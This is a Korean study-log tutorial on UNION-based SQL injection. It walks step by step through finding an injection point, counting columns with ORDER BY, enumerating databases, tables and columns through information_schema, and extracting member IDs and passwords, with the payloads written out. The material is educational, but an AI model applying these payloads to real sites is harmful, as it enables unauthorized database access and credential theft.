[๊ธฐ๋ก์ผ์ง] ๐ 06์ฃผ์ฐจ (๐SQL Injection - Data Extraction)
SQL Injection Data Extraction
SQL Injection์ ์ด์ฉํ ๋ฐ์ดํฐ ์ถ์ถ(Data Extraction)
๋ฐ์ดํฐ ์ถ์ถ(Data Extraction)
๋ฐ์ดํฐ ์ถ์ถ์ ์ํ ์ฌ์ ํ์ธ
SQL ์ธ์ ์ ์ด ์ผ์ด๋๋ ๊ณณ
1. DB ๋ฐ์ดํฐ๋ฅผ ์ฌ์ฉํ๋ ๊ณณ์ธ๊ฐ?
2. ๊ทธ ๋ฐ์ดํฐ๊ฐ ํ๋ฉด์ ๋์ค๋๊ฐ? ์๋์ค๋๊ฐ?
(DB์ ์๋ ๋ฐ์ดํฐ๊ฐ ์น ํ์ด์ง์(ํ๋ฉด์) ๋์ค๋ ๊ฒฝ์ฐ์ ๋์ค์ง ์๋ ๊ฒฝ์ฐ๊ฐ ์๋ค.)
> ์นํ์ด์ง์ ๋ฐ์ดํฐ๊ฐ ๋์ค๋ ๊ฒฝ์ฐ
ex) ๊ฒ์ํ
> ๋์ค์ง ์๋ ๊ฒฝ์ฐ
ex) ๋ก๊ทธ์ธ ๊ธฐ๋ฅ, ์์ด๋ ์ค๋ณต ์ฒดํฌ
(๋ด์ฉ์ด ๋์ค๋ ๊ฒ์ด ์๋๊ณ ์๋ค or ์๋ค, ์ณ๋ค or ํ๋ฆฌ๋ค๋ง ์๋ ค์ค)
SQL Injection์ DB ๋ฐ์ดํฐ๋ฅผ ์ฌ์ฉํ๋ ๊ณณ์์๋ ์ ์ฌ์ ์ผ๋ก ์คํ ๊ฐ๋ฅํ๋ค.
๊ทธ๋์ ์ฐ๋ฆฌ๋ ์ด๋ป๊ฒ ํ๋ฉด ์ํ๋ ๋ฐ์ดํฐ๋ฅผ ์ถ์ถํ ์ ์์์ง์ ๋ํ์ฌ ์๊ฐํด๋ด์ผ ํ๋ค.
์ ๋ ฅ์ ๋ํ ์์ฒญ์ผ๋ก DB์์ ์ ๋ณด๋ฅผ ๊บผ๋ด์์ ์ด๋ ํ ํํ๋ก ๊ทธ ๊ฐ์ ํ์ด์ง์ ๋ณด์ฌ์ค๋ค๋ ๊ฒ์, ์ด๋ ๊ฒ ์๊ฐํด ๋ณผ ์ ์๋ค.
๋ฐ์ดํฐ ์ถ์ถ์ ๋ฐฉ๋ฒ
์น ํ์ด์ง์ ๋ฐ์ดํฐ๊ฐ ๋์ค๋ ๊ฒฝ์ฐ์์ ๋ฐ์ดํฐ๋ฅผ ์ถ์ถํ๋ ๋ฐฉ๋ฒ
์ด ์น ์๋ฒ์์๋ DB๊ฐ ์๊ณ , ์ด ํ์ด์ง๋ฅผ ๋ง๋ค๊ธฐ ์ํด์ DB์์ ๋ฐ์ดํฐ๋ฅผ ๊ฐ์ ธ์์ ์๋ตํด ์คฌ๊ตฌ๋ !
์ด SQL์ Injectionํ๋ค๋ฉด?
๋ค๋ฅธ ์ฌ๋์ ์์ด๋์ ๊ฐ์ ์ฐ๋ฆฌ๊ฐ ์ป๊ณ ์ ํ๋ ์ ๋ณด(ํ์ธ์ ๋ฐ์ดํฐ)๋ฅผ ๊ฐ์ ธ์ฌ ์ ์๊ฒ ๊ตฌ๋ !
SQL Injection์ ํตํด Query๋ฅผ ์ฃผ์ ํ์ฌ ์๊ธฐ์น ์๋ ์ ๋ณด๊น์ง๋ ํ๋ฉด์ ์ถ๋ ฅ ์ํฌ ์ ์๋ค๋ ๊ฒ์ด๋ค.
๋ง์ฝ!? ๊ฒ์ํ์์! SQLi ์ทจ์ฝ์ ์ ์ฐพ์๋ค๋ฉด?
SELECT * FROM board WHERE idx= '___' or '1'='1'
์์ Query๋ฅผ ํตํด์ ๋ด๋ ํ์ด์ง์ ๋์ค๋ ๋ฐ์ดํฐ๋ ๊ธ์ ์ ์ฒด ๊ฐ์ ธ์จ ๊ฒ์ผ ๋ฟ board ๊ฒ์ํ์์ ๋ฒ์ด๋์ ๋ค๋ฅธ ํ ์ด๋ธ์ ์ ๋ณด๋ฅผ ๊ฐ์ ธ์ฌ ์๋ ์๋ค.
ํ์ง๋ง ์ฐ๋ฆฌ๊ฐ ์๊ณ ์ถ์๊ฒ์ ๊ฒ์ํ์ ์ ๋ณด๊ฐ ์๋ ๋ค๋ฅธ ๋ฐ์ดํฐ๋ค์ด๊ณ , ๊ทธ ๋ฐ์ดํฐ๋ค์ ๋ค๋ฅธ ํ ์ด๋ธ์ ์กด์ฌํ๋ค.
๊ทธ๋ ๋ค๋ฉด ๋ค๋ฅธ ํ ์ด๋ธ์ ์กฐํํ๊ธฐ ์ํด์๋ ์ด๋ป๊ฒ ํด์ผํ ๊น?
์ด๋ ํ์ํ ๊ฒ์ด 'UNION'์ด๋ค.
UNION์ ์ฌ์ฉํ๋ฉด SELECT๋ฌธ์ ํ๋ฒ ๋ ์ธ ์ ์๊ฒ ๋๋ค. ์ด๋ฅผ ์ด์ฉํ๋ฉด ๋๋ค.
UNION์ด๋?
UNION์ ๋ ๊ฐ์ SELECT ๋ฌธ์ ์๋ก ์ฐ๊ฒฐ์์ผ์ฃผ๋ ์ญํ ์ ํ๋ค.
SELECT COL_NAME FROM TABLE UNION SELECT COL_NAME FROM TABLE
์์ ๊ฐ์ด ์ ๋ค์ SELECT ๋ฌธ์ ํฉ์ณ์ฃผ๋ ๊ฒ์ด๋ค.
๊ทธ๋ ๋ค๋ฉด ์ ๊ฒ์ด ๋ค๋ฅธ ํ ์ด๋ธ์ ์กฐํํ๋ ๊ฒ๊ณผ ๋ฌด์จ ์๊ด์ด ์์๊น?
๊ฒ์ํ์์๋ ์ด๋ฏธ ๊ธ์ ์กฐํํ๊ธฐ ์ํ SQL ๊ตฌ๋ฌธ์ด ์กด์ฌํ๋ค.
์๋ง๋ ์๋์ ๊ฐ์ ๊ฒ์ด๋ค.
SELECT * FROM board WHERE idx= '___'
๊ทธ๋ ๊ธฐ์ ์์์ SELECT๋ฌธ์ ์ฐ๊ฒฐํ๋ฏ์ด ์ ๋ ฅ๊ฐ์ SELECT๋ฌธ์ ์ฝ์ ํ๋ค๋ฉด?
๋๊ฐ์ SELECT๋ฌธ์ด ์คํ๋๊ฒ ๋๊ณ , ์ฐ๋ฆฌ๊ฐ ์ ๋ ฅํ ๋ค์ SELECT๋ฌธ์ ์ํด ์ฐ๋ฆฌ๊ฐ ์ํ๋ ๋ฐ์ดํฐ์ ์ ๊ทผํ ์ ์๊ฒ ๋๋ค๋ ๊ฒ์ด๋ค.
UNION ์ฌ์ฉ์ ์ํ ์ฌ์ ํ์ธ
UNION์ ์ฌ์ฉํ๊ธฐ ์ํด์๋ ์ ์ํ ์ ์ด ์๋ค.
์ ํ๋๋ SELECT๋ฌธ์ ์์ฒญ ์ปฌ๋ผ์ ๊ฐ์๋ฅผ ์์์ผํ๋ค๋ ๊ฒ์ด๋ค.
๊ทธ ์ด์ ๋ UNION์ ์ฌ์ฉํ ๋์ UNION ์๋ค์ SELECT๋ฌธ์ (select ~~~) union (select ~~~) ์ปฌ๋ผ ๊ฐ์๊ฐ ์ผ์นํด์ผํ๊ธฐ ๋๋ฌธ์ด๋ค.
(union์ด๋ผ๋๊ฑด select๋ฅผ 2๋ฒ ์ธ ์ ์๋๊ฑด๋ฐ... ๋ select์ ์ปฌ๋ผ์ ๊ฐ์๋ ๊ฐ์์ผํ๋ค.)
๊ทธ๋ฌ๋ฉด ์๋ค์ ์ปฌ๋ผ(COLUMN)์ ๊ฐ์๋ง ์ผ์นํ๋ฉด ๋๋๊น ์์ SELECT๋ฌธ์ ๊ฑด๋๋ฆด ์ ์๋๊ฐ?
NOPE ! ์ ํ๋ Query๋ ์ด๋ฏธ ์ ํด์ ธ์๊ธฐ ๋๋ฌธ์ ์กฐ์ํ ์ ์๋ค. ๋ฐ๋ผ์ ์ฝ์ ํ๋ SELECT๋ฌธ์์ ์ ํ๋ SELECT๋ฌธ์ COLUMN๊ฐ์๋ฅผ ๋ง์ถฐ์ค ํ์๊ฐ ์๋ค.
๊ทธ๋ฌ๋ฏ๋ก ์ฐ๋ฆฌ๋ ์ ํ๋ SELECT ๋ฌธ์์ ์์ฒญํ๋ COLUMN์ ๊ฐ์๋ฅผ ์์์ผํ๋ค๋ ๊ฒ์ด๋ค.
๊ทธ๋ ๋ค๋ฉด? ์ด๋ป๊ฒํ๋ฉด COLUMN์ ๊ฐ์๋ฅผ ์์๋ผ ์ ์์๊น?
ORDER BY ๋ฅผ ์ด์ฉํ๋ฉด ๋๋ค.
ORDER BY๋?
order by๋ select๋ฌธ์ ๊ฐ์ฅ ๋ค์ ์ ์ด ์ฃผ๋ ๊ฒ์ ์์น์ผ๋ก ํ๋ฉฐ ์ ๋ ฌ์ ์ญํ ์ ์ํํ๋ค.
SELECT * FROM TABLE_NAME ORDER BY [COLUMN_NAME]
์์ ๊ฐ์ด (select ~~~) order by [column ์ด๋ฆ]์ ํํ๋ก ์ด์ฉํ๋ค.
ORDER BY COLUMN_NAME DESC (default ASC)
๊ธฐ๋ณธ์ ์ผ๋ก order by๋ ์ค๋ฆ์ฐจ์(default ๊ฐ์ด ASC)์ผ๋ก ์ ๋ ฌ ์ํจ๋ค.
๋ด๋ฆผ์ฐจ์์ผ๋ก ์ ๋ ฌํ๋ ค๋ฉด ๋ค์ DESC๋ฅผ ๋ถ์ฌ์ฃผ๋ฉด ๋๋ค.
SELECT * FROM TABLE_NAME ORDER BY [IDX]
ํด๋น ์ปฌ๋ผ(Column)์ ์ธ๋ฑ์ค(idx) ๋ฒํธ๋ก๋ ์ ๋ ฌ์ด ๊ฐ๋ฅํ๋ค.
(์ฒซ๋ฒ์งธ ์ปฌ๋ผ์ ์ธ๋ฑ์ค(index)๋ 0์ด ์๋ 1์์ ์ฃผ์ !)
์ปฌ๋ผ์ ๊ฐ์๊ฐ ๋์ด๊ฐ๋ order by๋ฅผ ํ๋ ๊ฒฝ์ฐ ์ค๋ฅ๊ฐ ๋ฐ์ํ๋ค.
- unkown ์ปฌ๋ผ (์ค๋ฅ๊ฐ ๋ ๊ฒฝ์ฐ์ index -1์ด column์ ๊ฐ์์์ ์ ์ ์์)
์ฐ๋ฆฌ๋ ์ด๋ฅผ ์ด์ฉํ์ฌ ์ปฌ๋ผ์ ๊ฐ์๋ฅผ ์ ์ ์๋ค.
UNION SQL Injection
UNION SQL Injection์ ์ ํด์ง ์์๋๋ก๋ง ๋ฐ๋ผ๊ฐ๋ฉด๋๋ Process๊ฐ ์กด์ฌํ๋ค.
(๊ทธ์ ๋ฌด์กฐ๊ฑด! ๋ฐ๋ผ์ฃผ๊ธฐ๋ง ํ๋ฉด๋๋ ๊ฒ์ด๋ค.)
UNION SQL Injection Process
1. SQL Injection ํฌ์ธํธ ์ฐพ๊ธฐ
2. (์ปฌ๋ผ์ ๋ง์ถฐ์ค์ผํ๋ฏ๋ก) column ์ ๊ฐ์ ์ฐพ๊ธฐ.
3. ์ถ๋ ฅ๋๋ column ์ ์์น ์ฐพ๊ธฐ.
4. DB ์ด๋ฆ ํ์ธ
5. Table ์ด๋ฆ ํ์ธ
6. Column ์ด๋ฆ ํ์ธ
7. Data ์ถ์ถ
[1] SQL Injection Point ์ฐพ๊ธฐ
SQL Injection ๊ณต๊ฒฉ์ ์ํํ๊ธฐ ์ํด์๋, SQL Injection์ด ๊ฐ๋ฅํ์ง๋ถํฐ ํ์ธํด๋ด์ผ ํ๋ค.
์ฐ์ ๋ณด๋ธ ๋ฐ์ดํฐ๊ฐ ์๋ฒ์์ ์ด๋ป๊ฒ ์ฒ๋ฆฌ๋๋์ง ๋จธ๋ฆฌ์ ๊ทธ๋ ค๋ณธ๋ค.
1. SELECT๋ฅผ ์ผ์ ๊ฒ์ด๊ณ , ๋ด๊ฐ ์ ๋ ฅํ ์กฐ๊ฑด์ ๊ฐ์ง๊ณ WHERE๋ฌธ์ ์ผ๊ฒ ๊ตฌ๋.
2. ๊ทธ๋ฌ๋ฉด ๋ด๊ฐ ๋ฃ์๊ฒ WHERE์ ์ด๋ ๋ถ๋ถ์ ๋ค์ด๊ฐ๊ฒ ๊ตฌ๋.
3. ๋ฌธ์์ด์ด๋ผ๋ฉด ' ' ์์ ๋ค์ด๊ฐ๊ฒ ๊ตฌ๋
4. ๋ถ๋ถ๋ง ์ ๋ ฅํด๋ ๋์ค๋ ๊ฒ์ ๋ณด๋ like๋ฅผ ์ผ๊ฒ ๊ตฌ๋.
# ๋ถ๋ถ๋ง ์
๋ ฅํด๋ ์ธ์ํ๋ ๊ฒฝ์ฐ LIKE
select * from TABLE_NAME where name like '%(%' and '1%'='1)%';
- %' and '1%'='1 ๋ฅผ ์ ๋ ฅํด์ ๊ฒฐ๊ณผ ๊ฐ์ด ๋์จ๋ค๋ ๊ฒ์ SQL Injection์ด ๊ฐ๋ฅํ๋ค๋ ๊ฒ์ด๋ค.
[2] Column ๊ฐ์ ํ์ ํ๊ธฐ
UNION์ ํ์ฉํ๊ธฐ ์ํ์ฌ ์ปฌ๋ผ(Column)์ ๊ฐ์๋ฅผ ํ์ธํด์ผ ํ๋ค.
์์์ ๋ณด์๋ฏ์ด ORDER BY๋ฅผ ์ด์ฉํ๋ค.
%' order by 1 # -> 1 ~ (n-1)์ ๊ฐ๋ฅ n์ ์๋๋ค๋ฉด?
select * from TABLE_NAME where name like '%(%' and '1%'='1)%';
%' order by 1 # ๋ถํฐ ๋์ ์ ํด๋ณธ๋ค.
- %์์๋ ์๋ฌด๊ฒ๋ ์ ๋ ฅํ์ง ์์๋ ๋จ
- # ์ ๋ฃ์ด์ฃผ๋ ์ด์ ๋ ๋ค์ %๋ฅผ ๋ฌด๋ ฅํ ์ํค๊ธฐ ์ํจ
์ซ์๋ฅผ ๋๋ ค๋๊ฐ๋ค๊ฐ ๊ฒฐ๊ณผ ๊ฐ์ด ๋์ค์ง ์๋ ๊ฒฝ์ฐ or ์๋ฌ๊ฐ ๋๋ ๊ฒฝ์ฐ
- (ํด๋น ์ธ๋ฑ์ค -1 ์ด ์ปฌ๋ผ์ ๊ฐ์)
๋ฐ๋ผ์ ํด๋น SQL์ ๊ตฌ์กฐ๋ ๋ค์๊ณผ ๊ฐ์ด ๋ฐ๊ฟ์ ์๊ฐํ ์ ์๋ค.
select * -> select (col1, col2, col3, col4)
[3] ์ถ๋ ฅ๋๋ Column์ ์์น ์ฐพ๊ธฐ [๋ง๋ฒ์ ์ฟผ๋ฆฌ~ !!]
ex) [2] ๋ฒ ๊ณผ์ ์์ ์ปฌ๋ผ(column)์ ๊ฐ์๊ฐ 4๊ฐ ์๋ค๋ฉด?
%' union select 1,2,3,4 #
์์ ์ฟผ๋ฆฌ๋ฅผ ์ ๋ ฅํ์ ๋ ํ์ด์ง์ 2,3,4 ๋ง ๋์๋ค๋ฉด?
'1๋ฒ ์ปฌ๋ผ์ ์ถ๋ ฅ๋์ง ์์๊ณ , (2, 3, 4)๋ฒ์งธ ์ปฌ๋ผ๋ง ์ถ๋ ฅ๋์๊ตฌ๋' ๋ผ๋ ๊ฒ์ ์ ์ ์๋ค.
- ์ถ๋ ฅ๋ column์ ์์๋ฅผ ์ ์ ์๋ค.
- ํด๋น ๋ถ๋ถ์ ์ซ์๋ฅผ ๋ฃ์ ์ด์ ๋ ๊ทธ์ ๋ช๋ฒ์งธ ์ธ๋ฑ์ค์ ์ปฌ๋ผ์ด ์ถ๋ ฅ๋๋์ง ๋ณด๊ธฐ ์ํจ์ด๋ค.
- (๋ค๋ฅธ ๊ฐ์ ๋ฃ์ด๋ ํด๋น ์ธ๋ฑ์ค์ ์์น์ ํด๋น ๊ฐ์ด ์ ์ถ๋ ฅ ๋จ)
๊ทธ๋ ๊ธฐ ๋๋ฌธ์ ์ํ๋ ๋ฐ์ดํฐ๋ฅผ ์ถ๋ ฅํ ๋ 2, 3, 4 ์ ์์น ์ค์ ๊ณจ๋ผ์ ๋ฃ์ด์ค์ผ ํ๋ค.
- ์ถ๋ ฅ์ด ๋๊ณ ์๋ ๋ถ๋ถ์ ๋ฃ์ด์ค์ผ ์ํ๋ ๋ฐ์ดํฐ๋ฅผ ์ถ๋ ฅํ์ฌ ๋ณผ ์ ์๊ธฐ ๋๋ฌธ
- (1๋ฒ์ ๊ณจ๋ผ๋ ์ถ๋ ฅ์กฐ์ฐจ ๋์ง ์๋๋ค.)
๊ทธ๋ผ ์ด์ ์ด๋ป๊ฒ ๊ฐ์ ธ์์ผ ํ ์ง๋ ์์๋ค.
ํ์ง๋ง! ์ด๋ค DB๊ฐ ์๊ณ , ์ด๋ค TABLE์ด ์๊ณ , ์ด๋ค COLUMN์ด ์๋์ง ๋ชจ๋ฅธ๋ค...!!
[4] DB ์ด๋ฆ ํ์ธํ๊ธฐ
์ฐ์ ์ด๋ค TABLE๊ณผ COLUMN์ ์์๋ด๊ธฐ ์ํด์๋ ์ด๋ค DB๊ฐ ์กด์ฌํ๋์ง๋ถํฐ ์์์ผํ๋ค.
select database()
์ด๊ฒ์ผ๋ก ์กด์ฌํ๋ DB์ค์ ํ์ฌ์ DB๋ฅผ ์กฐํํ ์ ์๋ค.
์กด์ฌํ๋ ์ ์ฒด DB๋ฅผ ์กฐํํ๊ธฐ ์ํด์๋ ๋ค์๊ณผ ๊ฐ์ด ์ฌ์ฉํด์ผํ๋ค.
select schema_name from information_schema.schemaa
์์ ๊ฐ์ ๋ฐฉ์์ผ๋ก ์ด๋ค DB๋ค์ด ์๋์ง ํ์ธ์ด ๊ฐ๋ฅํ๋ค.
% 'union select 1,database(),3,4 #
[5] Table ์ด๋ฆ ํ์ธํ๊ธฐ
์ด๋ค DB๊ฐ ์๋์ง๋ ์์ ๋์ผ๋ ์ด๋ค COLUMN์ด ์๋์ง ํ์ธ์ ํ๊ธฐ์ํด์ ์ด๋ค TABLE์ด ์๋์ง๋ถํฐ ํ์ธํด์ผ ํ๋ค.
DB๋ฅผ ์ ์งํ๊ธฐ ์ํด์ ํ ์ด๋ธ๊ณผ, ์ปฌ๋ผ์ ์ ๋ณด๋ฅผ ์ ์ฅํ๊ณ ์๋ DB๊ฐ ๋ฐ๋ก ์กด์ฌํ๋ค.
- DB : information_schema
- DB์ ๋ํ ์ ๋ณด๋ฅผ ์ ์ฅํ๋ DB
- meta data๋ฅผ ์ ์ฅํ๊ณ ์๋ Data Base
- (๋ฐ์ดํฐ๋ฒ ์ด์ค ์์ ๋ฐ์ดํฐ๋ฒ ์ด์ค)
- ๊ทธ ์์ ํ
์ด๋ธ(Table) : information_schema.tables
- ์ด๋ค DB๊ฐ ์ด๋ค Table์ ๊ฐ์ง๊ณ ์๋์ง์ ์ ๋ณด
select table_name from information_schema.tables where table_schema = 'DB_NAME'
- where table_schema = 'DB_NAME' ์กฐ๊ฑด์ ์์ฃผ๋ฉด ๋๋ฌด ๋ง์ ๋ฐ์ดํฐ๊ฐ ๋์ค๊ฒ ๋๋ค.
- ๊ทธ๋ ๊ฒ ๋๋ฉด ๋ญ๊ฐ ์ค์ํ ํ ์ด๋ธ์ธ์ง ๋ชจ๋ฅด๊ฒ๋๋ค.
%' union select 1,table_name,3,4 from information_schema.tables where table_schema = 'DB_NAME' #
์์ ๊ฐ์ ๋ฐฉ๋ฒ์ผ๋ก ์ด๋ค TABLE์ด ์กด์ฌํ๋์ง ํ์ธํด ๋ณผ ์ ์๋ค.
ํ์ง๋ง ์์ ๋ฐฉ๋ฒ์ ํด๋น DB์ Table์ ์ ๋ถ ๋ณด์ฌ์ฃผ๊ฒ ๋๋๋ฐ, ๋ง์ฝ ์ต๋ ์ถ๋ ฅ ๊ฐ์๋ณด๋ค Table์ ๊ฐ์๊ฐ ๋ง๋ค๋ฉด?
์ ๋ถ ์ถ๋ ฅ๋์ง ๋ชปํ๋ค. ๊ทธ๋์ ์ฐ์ ํ ์ด๋ธ(Table)์ด ๋ช ๊ฐ ์กด์ฌํ๋์ง๋ถํฐ ํ์ธํ๋ ์ต๊ด์ ๋ค์ด๋๋ก ํ์!
๋ฐฉ๋ฒ์ ๋ค์๊ณผ ๊ฐ๋ค.
' union select count(TABLE_NAME) from information_schema.tables #
์์ ๊ฒฐ๊ณผ๋ก ๋์จ๊ฐ์ ํ ์ด๋ธ์ ๊ฐ์์ด๋ค.
๋ง์ฝ ํน์ ์ธ๋ฑ์ค์ ํ ์ด๋ธ์ด ์๊ณ ์ถ๋ค๋ฉด?
' union select table_name from information_schema.tables limit 1,1#
limit๋ฅผ ์ด์ฉํ์ฌ ํ๋์ ํ ์ด๋ธ๋ง์ ๋ถ๋ฌ์ฌ ์ ์๋ค.
- limit (start index), number
- ์์ ์ซ์๋ (์์)์ธ๋ฑ์ค์ ๋ฒํธ (0๋ถํฐ ์์)
- ๋ค์ ์ซ์๋ ํด๋น ์ธ๋ฑ์ค๋ก๋ถํฐ ๋ช๊ฐ์ ๋ฐ์ดํฐ๋ฅผ ๊ฐ์ ธ์ฌ ๊ฒ์ธ์ง
์ฐธ๊ณ ์ฌํญ
- (phpmyadmin์์ ๋ณด๋ฉด ๊ธฐ๋ณธ์ ์ผ๋ก ์์ฑ๋๋ ํ ์ด๋ธ์ด 61๊ฐ)
00 : CHARACTER_SETS
01 : COLLATIONS
02 : COLLATION_CHARACTER_SET_APPLICABILITY
03 : COLUMNS
04 : COLUMN_PRIVILEGES
05 : ENGINES
06 : EVENTS
07 : FILES
08 : GLOBAL_STATUS
09 : GLOBAL_VARIABLES
10 : KEY_COLUMN_USAGE
11 : OPTIMIZER_TRACE
12 : PARAMETERS
13 : PARTITIONS
14 : PLUGINS
15 : PROCESSLIST
16 : PROFILING
17 : REFERENTIAL_CONSTRAINTS
18 : ROUTINES
19 : SCHEMATA
20 : SCHEMA_PRIVILEGES
21 : SESSION_STATUS
22 : SESSION_VARIABLES
23 : STATISTICS
24 : TABLES
25 : TABLESPACES
26 : TABLE_CONSTRAINTS
27 : TABLE_PRIVILEGES
28 : TRIGGERS
29 : USER_PRIVILEGES
30 : VIEWS 31 : INNODB_LOCKS
32 : INNODB_TRX
33 : INNODB_SYS_DATAFILES
34 : INNODB_FT_CONFIG
35 : INNODB_SYS_VIRTUAL
36 : INNODB_CMP
37 : INNODB_FT_BEING_DELETED
38 : INNODB_CMP_RESET
39 : INNODB_CMP_PER_INDEX
40 : INNODB_CMPMEM_RESET
41 : INNODB_FT_DELETED
42 : INNODB_BUFFER_PAGE_LRU
43 : INNODB_LOCK_WAITS
44 : INNODB_TEMP_TABLE_INFO
45 : INNODB_SYS_INDEXES
46 : INNODB_SYS_TABLES
47 : INNODB_SYS_FIELDS
48 : INNODB_CMP_PER_INDEX_RESET
49 : INNODB_BUFFER_PAGE
50 : INNODB_FT_DEFAULT_STOPWORD
51 : INNODB_FT_INDEX_TABLE
52 : INNODB_FT_INDEX_CACHE
53 : INNODB_SYS_TABLESPACES
54 : INNODB_METRICS
55 : INNODB_SYS_FOREIGN_COLS
56 : INNODB_CMPMEM
57 : INNODB_BUFFER_POOL_STATS
58 : INNODB_SYS_COLUMNS
59 : INNODB_SYS_FOREIGN
60 : INNODB_SYS_TABLESTATS
๋ณดํต ์๋ก TABLE์ ์์ฑํ๋ ๊ฒฝ์ฐ ์์ TABLE๋ค ๋ค์ ์์ฑ๋๋ค.
๊ทธ๋ฌ๋ฏ๋ก ๊ฐ์๋ฅผ ์์๋ค๋ฉด limit๋ฅผ ๋ค์์๋ถํฐ ์ค์ฌ๊ฐ๋ฉฐ ์ธ์ด์ฃผ๋๊ฒ ์ข์ ๊ฒ์ผ๋ก ๋ณด์ธ๋ค.
[6] Column ์ด๋ฆ ํ์ธํ๊ธฐ
์์์ ์ด๋ค DB, TABLE์ด ์กด์ฌํ๋์ง ํ์ธํ์๊ธฐ ๋๋ฌธ์ ์ด์ ์ด๋ค Column์ด ์กด์ฌํ๋์ง ์์๋ผ ์ฐจ๋ก์ด๋ค.
select column_name from information_schema.columns where table_name = 'table_name'
information_schema.columns
- ์ด๋ค Column์ด ๋ค์ด์๋์ง์ ๋ํ ์ ๋ณด
' union select 1,count(column_name),3,4 from information_schema.columns where table_name = 'table_name' #
์์๊ฐ์ด ์ด ๋ํ ๊ฐ์๋ฅผ ์ธ์ฃผ๊ณ ๋์ด๊ฐ ๋ฒ๋ฆํ์!
' union select 1,column_name,3,4 from information_schema.columns where table_name = 'table_name' #
์ด๊ฒ์ผ๋ก ์ด๋ค ์ปฌ๋ผ(Column)๋ค์ด ์๋์ง ๊น์ง ํ์ธ์ ํ ์ ์๋ค.
[7] ๋ฐ์ดํฐ ์ถ๋ ฅํ๊ธฐ
์ด์ ์ํ๋ ๋ฐ์ดํฐ๋ฅผ ์ถ์ถํ๊ธฐ ์ํ ์ค๋น๊ฐ ๋๋ฌ๋ค.
ex) ์ํ๋ ๋ฐ์ดํฐ๊ฐ member ํ ์ด๋ธ์ id์ pw๋ผ๋ฉด?
' union select 1,id,pass,4 from member #
์์ ๊ฐ์ ๋ฐฉ๋ฒ์ผ๋ก ์ํ๋ ๋ฐ์ดํฐ๋ฅผ ์ถ์ถํ์ฌ ์ถ๋ ฅํ ์ ์๋ค.
์ง๋ฌธ ํ์, ์์ ๋ฐ ๋ณด์์ ๋ํ ์ง์ ํ์